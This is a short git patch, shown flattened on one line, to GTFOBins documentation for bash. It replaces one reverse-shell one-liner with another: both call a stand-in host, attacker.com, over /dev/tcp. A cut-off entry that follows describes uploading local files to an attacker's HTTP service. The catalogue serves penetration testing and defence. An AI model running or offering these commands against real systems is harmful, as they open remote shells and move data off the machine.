From 0109792b7eac6858b133854831c03f3d0cce8b2d Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Fri, 25 Jan 2019 16:41:15 +0100 Subject: [PATCH] Clarify bash reverse shell --- _gtfobins/bash.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/bash.md b/_gtfobins/bash.md index 92a69b2..02f880c 100644 --- a/_gtfobins/bash.md +++ b/_gtfobins/bash.md @@ -7,7 +7,7 @@ functions: code: | export RHOST=attacker.com export RPORT=12345 - bash -c 'bash -i >& /dev/tcp/$RHOST/$RPORT 0>&1' + bash -c 'bash -i &>/dev/tcp/$RHOST/$RPORT 0<&1' file-upload: - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file. code: |